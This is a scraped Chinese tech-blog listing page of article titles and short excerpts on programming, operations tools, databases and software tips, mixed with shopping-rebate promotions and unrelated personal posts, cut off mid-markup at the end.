<div>短视频混剪与解说的辅助神器!相信大家在日常刷短视频的时候都发现了,不同的影视解说与盘点,但是说话的人好像都是一样的。你的感觉没有错,确实,这些解说配音都是同一个,而且不是真人配音,都是AI识别完成的配音。现在的AI配音软件确实很厉害,在语气、语调、停顿的处理上几乎和真人无异,有的甚至比真人配音处理的还好,当然这里所说的真人是我自己。所以,现在做短视频盘点与解说的首要任务是选一款自己喜欢且好用的配音</div> </li> <li><a href="/article/1947378878221709312.htm" title="网页源码保护助手 海洋网页在线加密:HTML 源码防复制篡改,密文安全如铜墙铁壁" target="_blank">网页源码保护助手 海洋网页在线加密:HTML 源码防复制篡改,密文安全如铜墙铁壁</a> <span class="text-muted">小瑞软件库</span> <a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90%E8%BD%AF%E4%BB%B6/1.htm">开源软件</a><a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%9E%84%E5%BB%BA/1.htm">软件构建</a><a class="tag" taget="_blank" href="/search/%E7%94%B5%E8%84%91/1.htm">电脑</a> <div>各位网页开发的大神们!今天给你们介绍个超厉害的东西——海洋网页在线加密,软件下载地址安装包它就是专门给咱网页开发者量身打造的代码保护神器啊!它的核心功能就是给HTML源码加密,能防止别人在咱没同意的情况下复制或者篡改代码内容。咱用户呢,直接把网页源代码复制到软件界面就行,然后它通过自动化加密流程,就能生成一堆谁也看不懂的密文。而且啊,它还支持把密文保存成TXT文件,或者直接嵌入到新网页里。这软件还</div> </li> <li><a href="/article/1947370345962991616.htm" title="拼多多购物攻略:用高省APP,轻松获得返利!" target="_blank">拼多多购物攻略:用高省APP,轻松获得返利!</a> <span class="text-muted">高省_飞智666600</span> <div>拼多多购物新纪元:高省APP助力轻松返利在拼多多这个以“拼团”闻名的购物平台上,消费者总能以超低的价格购买到心仪的商品。然而,你是否知道,在拼多多购物的同时,还可以通过高省APP获得额外的返利呢?本文将详细介绍如何通过高省APP在拼多多购物中获得返利。带你走进省钱购物的新纪元。高省APP:购物返利的神器高省APP,作为一款集优惠券领取、购物返利、分享赚钱于一体的综合性导购平台,与拼多多等主流电商平</div> </li> <li><a href="/article/1947367803153608704.htm" title="未来的奇点冲击,人类能否永世超脱" target="_blank">未来的奇点冲击,人类能否永世超脱</a> <span class="text-muted">395fadf137d6</span> <div>科技的进步,在过去漫长的历史中极大地改变了我们的生活方式及产业结构。在遥远的过去,石器与土器等技术登上历史舞台时,就曾给人类的生活带来了翻天覆地的变化。在距离我们较近的时代,回首第二次世界大战后的那段时期,也可以举出几个例子来印证科技给人们的生活所带来的强烈冲击。譬如曾被日本人称为“三大神器”的黑白电视机、洗衣机、冰箱这三项耐用消费品,以及被称为“3C”的彩色电视机、空调、汽车等。在过去的短短20</div> </li> <li><a href="/article/1947348491357450240.htm" title="PYTHON日志神器nb_log详细介绍和使用说明" target="_blank">PYTHON日志神器nb_log详细介绍和使用说明</a> <span class="text-muted"></span> <div>个人主页:云纳星辰怀自在座右铭:“所谓坚持,就是觉得还有希望!”Python的nb_log是一个功能强大且高度灵活的日志记录模块,基于Python内置的logging模块封装,解决了传统日志库的常见痛点(如重复打印、配置复杂等),并增加了多项创新特性。一、核心特性与优势智能print增强自动捕获所有print输出,添加文件名+行号标记(如[demo.py:18])支持IDE控制台点击跳转源码位置开</div> </li> <li><a href="/article/1947319085113077760.htm" title="2024淘宝618口令红包大全(最新天猫淘宝618红包口令领取使用方法)" target="_blank">2024淘宝618口令红包大全(最新天猫淘宝618红包口令领取使用方法)</a> <span class="text-muted">直返APP淘客项目</span> <div>2024年淘宝618活动的红包口令是消费者们非常关注的一个方面,因为它们可以在购物时提供额外的优惠。以下是一些关于淘宝618红包口令的领取方法和使用指南:都在挣钱!推荐几个月入几千到几万的靠谱副业项目!返利就用直返APP,没有上级赚差价。粉丝亲切称呼:返利大王——直返app;「善士笔记」(shanshi2024)主理人+「直返」APP创始人曾白手起家,15个月赚到500W。互联网创业13年,目前月</div> </li> <li><a href="/article/1947291143909732352.htm" title=".NET 8 中的 KeyedService" target="_blank">.NET 8 中的 KeyedService</a> <span class="text-muted">步、步、为营</span> <a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>.NET8中的KeyedService:新特性解析与使用示例一、引言在.NET8的Preview7版本中,引入了KeyedService支持。这一特性为开发者提供了按名称(name)获取服务的便利,在某些场景下,开发者无需再自行创建工厂类来管理服务。接下来,我们将深入探讨KeyedService的使用方法、特殊情况以及存在的一些问题。二、基本使用示例1.简单示例代码varserviceCollec</div> </li> <li><a href="/article/1947285974912397312.htm" title="线上故障排查神器!用strace和ftrace揪出系统调用的“幕后黑手“" target="_blank">线上故障排查神器!用strace和ftrace揪出系统调用的“幕后黑手“</a> <span class="text-muted">悠悠12138</span> <a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>前几天凌晨2点,我又被监控报警给吵醒了。服务器CPU飙到90%,但是top看了半天也找不到罪魁祸首。这种时候,就得请出我们运维人员的两大法宝了——strace和ftrace。说实话,刚开始接触这两个工具的时候,我也是一脸懵逼。什么系统调用、内核跟踪,听起来就很高大上的样子。但是用多了你就会发现,这玩意儿简直就是排查问题的神器!今天就跟大家分享一下我这些年用下来的一些心得。先说说系统调用这个东西你可</div> </li> <li><a href="/article/1947274061142880256.htm" title="寻路中国~工厂~25" target="_blank">寻路中国~工厂~25</a> <span class="text-muted">Carreybook</span> <div>作者再本节继续讲述自己在丽水工业区参观各种工厂的所见所闻,何伟中文水平很6,蓑衣也容易和当地老板和工人聊上天,很多细节方面的记录,堪称一绝,比如为什么工厂老板不喜欢四川人和江西人进场工作,还有就是通过寻味工人的业余爱好判断他们是否勤劳,另外何伟还亲身参与了一把建筑工地的爆破和电钻,对那个年代的建筑工人有了深层的了解,基建狂魔之下,建筑行业还是非常景气的。浙江某工厂大门我刚到丽水进行考察的时候,他们</div> </li> <li><a href="/article/1947252945649201152.htm" title="Windows环境下批量重命名文件的三种高效方法" target="_blank">Windows环境下批量重命名文件的三种高效方法</a> <span class="text-muted">数据冰山</span> <div>本文还有配套的精品资源,点击获取简介:在Windows系统中,批量修改文件夹内文件名称能极大提高工作效率。本文介绍了三种方法:利用Windows自带的批量重命名功能、使用批处理脚本和借助第三方工具“批量改变文件名称.exe”。每种方法都提供了操作步骤,并强调了数据备份的重要性,以防止文件误改或丢失。1.Windows自带批量重命名功能的使用方法在本章中,我们将从零开始,探索Windows操作系统内</div> </li> <li><a href="/article/1947252166435598336.htm" title="2018-09-08 感冒加鼻窦炎了,吃了点药" target="_blank">2018-09-08 感冒加鼻窦炎了,吃了点药</a> <span class="text-muted">五大RobertWu伍洋</span> <div>阿奇霉素分散片怎么吃http://ypk.39.net/882513/manual【药品名称】通用名称:阿奇霉素分散片英文名称:AzithromycinDispersibleTablets【用法用量】以阿奇霉素分散片治疗感染疾病,服用前用水分散后口服直接吞服。其疗程及使用方法如下:成人:1.沙眼衣原体或敏感淋病奈瑟菌所致性传播疾病,仅需单次口服本品1g。2.治疗小儿咽炎、扁桃体炎,一日按体重12m</div> </li> <li><a href="/article/1947198981893320704.htm" title="SQL中EXPLAIN命令详解" target="_blank">SQL中EXPLAIN命令详解</a> <span class="text-muted">FSW...</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a> <div>SQL中EXPLAIN命令详解explain显示了mysql如何使用索引来处理select语句以及连接表。可以帮助选择更好的索引和写出更优化的查询语句。使用方法,在select语句前加上explain就可以了:如:explainselectsurname,first_nameforma,bwherea.id=b.id1、EXPLAINtbl_nameEXPLAINtbl_name是DESCRIBE</div> </li> <li><a href="/article/1947184950671372288.htm" title="道德经 第二十九章" target="_blank">道德经 第二十九章</a> <span class="text-muted">大庆思考笔记</span> <div>[原文]将欲取①天下而为②之,吾见其不得已③。天下神器④,不可为也,不可执也⑤。为者败之,执者失之。是以圣人无为⑥,故无败,故无失。夫⑦物⑧或行或随⑨;或觑或吹⑩;或强或羸⑾;或载或隳⑿。是以圣人去甚、去奢、去泰⒀。[译文]想要治理天下,却又要用强制的办法,我看他不能够达到目的。天下的人民是神圣的,不能够违背他们的意愿和本性而加以强力统治,否则用强力统治天下,不能够违背他们的意愿和本性而加以强力统</div> </li> <li><a href="/article/1947130280842162176.htm" title="高中教师资格证笔试经验分享" target="_blank">高中教师资格证笔试经验分享</a> <span class="text-muted">梦子记</span> <div>正文开始前:在考教师资格证之前,有专门在微博、知乎、上搜关于如何准备教师资格证笔试,见到有部分答主说:“我是裸试的”“很简单,我三天就复习好了”……在自己经历了这场考试前后,对于这些大神们,敬佩,敬佩——笔者本人是做不到的。说说笔者的知识基础,以便大家参考:地理师范大三学生,高中文科。成绩平平,记忆力一般。划水而过的成绩单常被问到的问题:1.教师资格证笔试考什么?高中地理教师资格证分三个科目去考,</div> </li> <li><a href="/article/1947124462860169216.htm" title="MD编辑器基本使用方法" target="_blank">MD编辑器基本使用方法</a> <span class="text-muted">斟的是酒中桃</span> <a class="tag" taget="_blank" href="/search/%E7%BC%96%E8%BE%91%E5%99%A8/1.htm">编辑器</a><a class="tag" taget="_blank" href="/search/Markdown/1.htm">Markdown</a> <div>这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML图表FLowchart流程图导出与导入导出导入欢迎使用Mark</div> </li> <li><a href="/article/1947119672071614464.htm" title="Python中的条件语句:if-else使用指南" target="_blank">Python中的条件语句:if-else使用指南</a> <span class="text-muted">AI软件改变生活</span> <a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>在编程中,条件语句是控制程序流程的核心工具之一,它允许程序根据不同的条件执行不同的代码块。Python提供了简洁而强大的条件语句语法,其中最常用的就是if-else语句。本文将详细介绍Python中if-else的使用方法、常见用法以及一些高级技巧。1.基本语法if-else语句的基本结构如下:Python复制if条件表达式:#如果条件表达式为True,执行这里的代码块passelse:#如果条件</div> </li> <li><a href="/article/1947098990080225280.htm" title="焦点日记坚持分享第35天(20190228)" target="_blank">焦点日记坚持分享第35天(20190228)</a> <span class="text-muted">巧琳的世界</span> <div>带上游泳神器,我昂首向泳池走去,穿过洗浴区时,有四五个孩子,很安静,因为神器不带度数,所以我这个大近视啥也瞅不清楚。拐个弯,路过一面镜子,才发现,面罩里面都是“哈气”,所以我才啥也看不清楚,马上退回洗浴区,我是打算擦干净它们的,快到没到的时候就听见孩子们欢快的声音“哈哈哈哈,你看那个阿姨”“哈哈哈,好怪不”“嘿嘿嘿,戴那个太逗了”……我踏进洗浴区的瞬间,又恢复了安静,于是我明白了一个残酷的事实,就</div> </li> <li><a href="/article/1947039609925988352.htm" title="C#进行串口应用开发如何处理串口的异常情况" target="_blank">C#进行串口应用开发如何处理串口的异常情况</a> <span class="text-muted">openwin_top</span> <a class="tag" taget="_blank" href="/search/c%23%E4%B8%B2%E5%8F%A3%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91%E9%97%AE%E9%A2%98%E7%B3%BB%E5%88%97/1.htm">c#串口应用开发问题系列</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E4%B8%B2%E5%8F%A3/1.htm">串口</a><a class="tag" taget="_blank" href="/search/%E9%80%9A%E8%AE%AF/1.htm">通讯</a><a class="tag" taget="_blank" href="/search/%E4%B8%8A%E4%BD%8D%E6%9C%BA/1.htm">上位机</a> <div>python编程示例系列python编程示例系列二python的Web神器Streamlit如何应聘高薪职位C#视觉应用开发问题系列c#串口应用开发问题系列microPythonPython最小内核源码解析NI-motion运动控制c语言示例代码解析在C#中进行串口应用开发时,处理串口的异常情况是非常重要的。常见的串口异常包括端口不可用、数据传输错误、超时等</div> </li> <li><a href="/article/1947037719360237568.htm" title="python包管理神器【uv】详解" target="_blank">python包管理神器【uv】详解</a> <span class="text-muted">若叶.</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/uv/1.htm">uv</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/pip/1.htm">pip</a><a class="tag" taget="_blank" href="/search/virtualenv/1.htm">virtualenv</a> <div>目录1uv简介与安装1.1uv作用1.2安装方式一:github/release页下载。方式二:命令行安装(win)方式三:pypi安装确认安装成功1.3卸载2命令帮助3uv管理python版本3.1`uvpython--参数`3.2`uvpythonlist`3.3`uvpythoninstall`4uv运行单个脚本4.1`uvrun.py文件`4.2`uvinit--script`4.3`uv</div> </li> <li><a href="/article/19.htm" title="解线性方程组" target="_blank">解线性方程组</a> <span class="text-muted">qiuwanchi</span> <div>package gaodai.matrix; import java.util.ArrayList; import java.util.List; import java.util.Scanner; public class Test { public static void main(String[] args) { Scanner scanner = new Sc</div> </li> <li><a href="/article/146.htm" title="在mysql内部存储代码" target="_blank">在mysql内部存储代码</a> <span class="text-muted">annan211</span> <a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD/1.htm">性能</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1.htm">存储过程</a><a class="tag" taget="_blank" href="/search/%E8%A7%A6%E5%8F%91%E5%99%A8/1.htm">触发器</a> <div> 在mysql内部存储代码 在mysql内部存储代码,既有优点也有缺点,而且有人倡导有人反对。 先看优点: 1 她在服务器内部执行,离数据最近,另外在服务器上执行还可以节省带宽和网络延迟。 2 这是一种代码重用。可以方便的统一业务规则,保证某些行为的一致性,所以也可以提供一定的安全性。 3 可以简化代码的维护和版本更新。 4 可以帮助提升安全,比如提供更细</div> </li> <li><a href="/article/273.htm" title="Android使用Asynchronous Http Client完成登录保存cookie的问题" target="_blank">Android使用Asynchronous Http Client完成登录保存cookie的问题</a> <span class="text-muted">hotsunshine</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>Asynchronous Http Client是android中非常好的异步请求工具 除了异步之外还有很多封装比如json的处理,cookie的处理 引用 Persistent Cookie Storage with PersistentCookieStore This library also includes a PersistentCookieStore whi</div> </li> <li><a href="/article/400.htm" title="java面试题" target="_blank">java面试题</a> <span class="text-muted">Array_06</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div>java面试题 第一,谈谈final, finally, finalize的区别。 final-修饰符(关键字)如果一个类被声明为final,意味着它不能再派生出新的子类,不能作为父类被继承。因此一个类不能既被声明为 abstract的,又被声明为final的。将变量或方法声明为final,可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值,而在以后的引用中只能</div> </li> <li><a href="/article/527.htm" title="网站加速" target="_blank">网站加速</a> <span class="text-muted">oloz</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%AB%99%E5%8A%A0%E9%80%9F/1.htm">网站加速</a> <div>前序:本人菜鸟,此文研究总结来源于互联网上的资料,大牛请勿喷!本人虚心学习,多指教. 1、减小网页体积的大小,尽量采用div+css模式,尽量避免复杂的页面结构,能简约就简约。 2、采用Gzip对网页进行压缩;    GZIP最早由Jean-loup Gailly和Mark Adler创建,用于UNⅨ系统的文件压缩。我们在Linux中经常会用到后缀为.gz</div> </li> <li><a href="/article/654.htm" title="正确书写单例模式" target="_blank">正确书写单例模式</a> <span class="text-muted">随意而生</span> <a class="tag" taget="_blank" href="/search/java+%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F+%E5%8D%95%E4%BE%8B/1.htm">java 设计模式 单例</a> <div>  单例模式算是设计模式中最容易理解,也是最容易手写代码的模式了吧。但是其中的坑却不少,所以也常作为面试题来考。本文主要对几种单例写法的整理,并分析其优缺点。很多都是一些老生常谈的问题,但如果你不知道如何创建一个线程安全的单例,不知道什么是双检锁,那这篇文章可能会帮助到你。   懒汉式,线程不安全   当被问到要实现一个单例模式时,很多人的第一反应是写出如下的代码,包括教科书上也是这样</div> </li> <li><a href="/article/781.htm" title="单例模式" target="_blank">单例模式</a> <span class="text-muted">香水浓</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>懒汉  调用getInstance方法时实例化 public class Singleton { private static Singleton instance; private Singleton() {} public static synchronized Singleton getInstance() { if(null == ins</div> </li> <li><a href="/article/908.htm" title="安装Apache问题:系统找不到指定的文件 No installed service named "Apache2"" target="_blank">安装Apache问题:系统找不到指定的文件 No installed service named "Apache2"</a> <span class="text-muted">AdyZhang</span> <a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a><a class="tag" taget="_blank" href="/search/http+server/1.htm">http server</a> <div>安装Apache问题:系统找不到指定的文件 No installed service named "Apache2" 每次到这一步都很小心防它的端口冲突问题,结果,特意留出来的80端口就是不能用,烦。 解决方法确保几处: 1、停止IIS启动 2、把端口80改成其它 (譬如90,800,,,什么数字都好) 3、防火墙(关掉试试) 在运行处输入 cmd 回车,转到apa</div> </li> <li><a href="/article/1035.htm" title="如何在android 文件选择器中选择多个图片或者视频?" target="_blank">如何在android 文件选择器中选择多个图片或者视频?</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>我的android app有这样的需求,在进行照片和视频上传的时候,需要一次性的从照片/视频库选择多条进行上传 但是android原生态的sdk中,只能一个一个的进行选择和上传。 我想知道是否有其他的android上传库可以解决这个问题,提供一个多选的功能,可以使checkbox之类的,一次选择多个 处理方法 官方的图片选择器(但是不支持所有版本的androi,只支持API Level </div> </li> <li><a href="/article/1162.htm" title="mysql中查询生日提醒的日期相关的sql" target="_blank">mysql中查询生日提醒的日期相关的sql</a> <span class="text-muted">baalwolf</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>SELECT sysid,user_name,birthday,listid,userhead_50,CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')),CURDATE(),  dayofyear( CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')))-dayofyear(</div> </li> <li><a href="/article/1289.htm" title="MongoDB索引文件破坏后导致查询错误的问题" target="_blank">MongoDB索引文件破坏后导致查询错误的问题</a> <span class="text-muted">BigBird2012</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a> <div>问题描述: MongoDB在非正常情况下关闭时,可能会导致索引文件破坏,造成数据在更新时没有反映到索引上。 解决方案:   使用脚本,重建MongoDB所有表的索引。 var names = db.getCollectionNames(); for( var i in names ){ var name = names[i]; print(name); </div> </li> <li><a href="/article/1416.htm" title="Javascript Promise" target="_blank">Javascript Promise</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/Promise/1.htm">Promise</a> <div>        Parse JavaScript SDK现在提供了支持大多数异步方法的兼容jquery的Promises模式,那么这意味着什么呢,读完下文你就了解了。 一.认识Promises         “Promises”代表着在javascript程序里下一个伟大的范式,但是理解他们为什么如此伟大不是件简</div> </li> <li><a href="/article/1543.htm" title="[Zookeeper学习笔记九]Zookeeper源代码分析之Zookeeper构造过程" target="_blank">[Zookeeper学习笔记九]Zookeeper源代码分析之Zookeeper构造过程</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div>   Zookeeper重载了几个构造函数,其中构造者可以提供参数最多,可定制性最多的构造函数是     public ZooKeeper(String connectString, int sessionTimeout, Watcher watcher, long sessionId, byte[] sessionPasswd, boolea</div> </li> <li><a href="/article/1670.htm" title="【Java命令三】jstack" target="_blank">【Java命令三】jstack</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/jstack/1.htm">jstack</a> <div>jstack是用于获得当前运行的Java程序所有的线程的运行情况(thread dump),不同于jmap用于获得memory dump   [hadoop@hadoop sbin]$ jstack Usage: jstack [-l] <pid> (to connect to running process) jstack -F </div> </li> <li><a href="/article/1797.htm" title="jboss 5.1启停脚本 动静分离部署" target="_blank">jboss 5.1启停脚本 动静分离部署</a> <span class="text-muted">ronin47</span> <div>以前启动jboss,往各种xml配置文件,现只要运行一句脚本即可。start nohup sh /**/run.sh -c servicename  -b ip -g  clustername   -u broatcast jboss.messaging.ServerPeerID=int  -Djboss.service.binding.set=p</div> </li> <li><a href="/article/1924.htm" title="UI之如何打磨设计能力?" target="_blank">UI之如何打磨设计能力?</a> <span class="text-muted">brotherlamp</span> <a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/ui%E6%95%99%E7%A8%8B/1.htm">ui教程</a><a class="tag" taget="_blank" href="/search/ui%E8%87%AA%E5%AD%A6/1.htm">ui自学</a><a class="tag" taget="_blank" href="/search/ui%E8%B5%84%E6%96%99/1.htm">ui资料</a><a class="tag" taget="_blank" href="/search/ui%E8%A7%86%E9%A2%91/1.htm">ui视频</a> <div>  在越来越拥挤的初创企业世界里,视觉设计的重要性往往可以与杀手级用户体验比肩。在许多情况下,尤其对于 Web 初创企业而言,这两者都是不可或缺的。前不久我们在《右脑革命:别学编程了,学艺术吧》中也曾发出过重视设计的呼吁。如何才能提高初创企业的设计能力呢?以下是 9 位创始人的体会。 1.找到自己的方式 如果你是设计师,要想提高技能可以去设计博客和展示好设计的网站如D-lists或</div> </li> <li><a href="/article/2051.htm" title="三色旗算法" target="_blank">三色旗算法</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a> <div> import java.util.Arrays; /** 问题: 假设有一条绳子,上面有红、白、蓝三种颜色的旗子,起初绳子上的旗子颜色并没有顺序, 您希望将之分类,并排列为蓝、白、红的顺序,要如何移动次数才会最少,注意您只能在绳 子上进行这个动作,而且一次只能调换两个旗子。 网上的解法大多类似: 在一条绳子上移动,在程式中也就意味只能使用一个阵列,而不使用其它的阵列来</div> </li> <li><a href="/article/2178.htm" title="警告:No configuration found for the specified action: \'s" target="_blank">警告:No configuration found for the specified action: \'s</a> <span class="text-muted">chiangfai</span> <a class="tag" taget="_blank" href="/search/configuration/1.htm">configuration</a> <div>1.index.jsp页面form标签未指定namespace属性。 <!--index.jsp代码--> <%@taglib prefix="s" uri="/struts-tags"%> ... <s:form action="submit" method="post"&g</div> </li> <li><a href="/article/2305.htm" title="redis -- hash_max_zipmap_entries设置过大有问题" target="_blank">redis -- hash_max_zipmap_entries设置过大有问题</a> <span class="text-muted">chenchao051</span> <a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/hash/1.htm">hash</a> <div>使用redis时为了使用hash追求更高的内存使用率,我们一般都用hash结构,并且有时候会把hash_max_zipmap_entries这个值设置的很大,很多资料也推荐设置到1000,默认设置为了512,但是这里有个坑   #define ZIPMAP_BIGLEN 254 #define ZIPMAP_END 255     /* Return th</div> </li> <li><a href="/article/2432.htm" title="select into outfile access deny问题" target="_blank">select into outfile access deny问题</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/txt/1.htm">txt</a><a class="tag" taget="_blank" href="/search/%E5%AF%BC%E5%87%BA%E6%95%B0%E6%8D%AE%E5%88%B0%E6%96%87%E4%BB%B6/1.htm">导出数据到文件</a> <div>本文转自:http://hatemysql.com/2010/06/29/select-into-outfile-access-deny%E9%97%AE%E9%A2%98/ 为应用建立了rnd的帐号,专门为他们查询线上数据库用的,当然,只有他们上了生产网络以后才能连上数据库,安全方面我们还是很注意的,呵呵。 授权的语句如下: grant select on armory.* to rn</div> </li> <li><a href="/article/2559.htm" title="phpexcel导出excel表简单入门示例" target="_blank">phpexcel导出excel表简单入门示例</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/Excel/1.htm">Excel</a><a class="tag" taget="_blank" href="/search/phpexcel/1.htm">phpexcel</a> <div> <?php error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE);   if (PHP_SAPI == 'cli') die('This example should only be run from a Web Brows</div> </li> <li><a href="/article/2686.htm" title="美国电影超短200句" target="_blank">美国电影超短200句</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E7%94%B5%E5%BD%B1/1.htm">电影</a> <div>1. I see. 我明白了。2. I quit! 我不干了!3. Let go! 放手!4. Me too. 我也是。5. My god! 天哪!6. No way! 不行!7. Come on. 来吧(赶快)8. Hold on. 等一等。9. I agree。 我同意。10. Not bad. 还不错。11. Not yet. 还没。12. See you. 再见。13. Shut up! </div> </li> <li><a href="/article/2813.htm" title="Java访问远程服务" target="_blank">Java访问远程服务</a> <span class="text-muted">dyy_gusi</span> <a class="tag" taget="_blank" href="/search/httpclient/1.htm">httpclient</a><a class="tag" taget="_blank" href="/search/webservice/1.htm">webservice</a><a class="tag" taget="_blank" href="/search/get/1.htm">get</a><a class="tag" taget="_blank" href="/search/post/1.htm">post</a> <div>    随着webService的崛起,我们开始中会越来越多的使用到访问远程webService服务。当然对于不同的webService框架一般都有自己的client包供使用,但是如果使用webService框架自己的client包,那么必然需要在自己的代码中引入它的包,如果同时调运了多个不同框架的webService,那么就需要同时引入多个不同的clien</div> </li> <li><a href="/article/2940.htm" title="Maven的settings.xml配置" target="_blank">Maven的settings.xml配置</a> <span class="text-muted">geeksun</span> <a class="tag" taget="_blank" href="/search/settings.xml/1.htm">settings.xml</a> <div>settings.xml是Maven的配置文件,下面解释一下其中的配置含义: settings.xml存在于两个地方: 1.安装的地方:$M2_HOME/conf/settings.xml 2.用户的目录:${user.home}/.m2/settings.xml 前者又被叫做全局配置,后者被称为用户配置。如果两者都存在,它们的内容将被合并,并且用户范围的settings.xml优先。 </div> </li> <li><a href="/article/3067.htm" title="ubuntu的init与系统服务设置" target="_blank">ubuntu的init与系统服务设置</a> <span class="text-muted">hongtoushizi</span> <a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a> <div>转载自:  http://iysm.net/?p=178 init Init是位于/sbin/init的一个程序,它是在linux下,在系统启动过程中,初始化所有的设备驱动程序和数据结构等之后,由内核启动的一个用户级程序,并由此init程序进而完成系统的启动过程。 ubuntu与传统的linux略有不同,使用upstart完成系统的启动,但表面上仍维持init程序的形式。 运行</div> </li> <li><a href="/article/3194.htm" title="跟我学Nginx+Lua开发目录贴" target="_blank">跟我学Nginx+Lua开发目录贴</a> <span class="text-muted">jinnianshilongnian</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/lua/1.htm">lua</a> <div>使用Nginx+Lua开发近一年的时间,学习和实践了一些Nginx+Lua开发的架构,为了让更多人使用Nginx+Lua架构开发,利用春节期间总结了一份基本的学习教程,希望对大家有用。也欢迎谈探讨学习一些经验。    目录 第一章 安装Nginx+Lua开发环境 第二章 Nginx+Lua开发入门 第三章 Redis/SSDB+Twemproxy安装与使用 第四章 L</div> </li> <li><a href="/article/3321.htm" title="php位运算符注意事项" target="_blank">php位运算符注意事项</a> <span class="text-muted">home198979</span> <a class="tag" taget="_blank" href="/search/%E4%BD%8D%E8%BF%90%E7%AE%97/1.htm">位运算</a><a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%26/1.htm">&</a> <div>$a = $b = $c = 0; $a & $b = 1; $b | $c = 1  问a,b,c最终为多少?   当看到这题时,我犯了一个低级错误,误 以为位运算符会改变变量的值。所以得出结果是1 1 0 但是位运算符是不会改变变量的值的,例如: $a=1;$b=2; $a&$b;  这样a,b的值不会有任何改变 </div> </li> <li><a href="/article/3448.htm" title="Linux shell数组建立和使用技巧" target="_blank">Linux shell数组建立和使用技巧</a> <span class="text-muted">pda158</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a> <div>1.数组定义   [chengmo@centos5 ~]$ a=(1 2 3 4 5)   [chengmo@centos5 ~]$ echo $a   1   一对括号表示是数组,数组元素用“空格”符号分割开。    2.数组读取与赋值   得到长度:   [chengmo@centos5 ~]$ echo ${#a[@]}   5   用${#数组名[@或</div> </li> <li><a href="/article/3575.htm" title="hotspot源码(JDK7)" target="_blank">hotspot源码(JDK7)</a> <span class="text-muted">ol_beta</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/HotSpot/1.htm">HotSpot</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a> <div>源码结构图,方便理解:   ├─agent                            Serviceab</div> </li> <li><a href="/article/3702.htm" 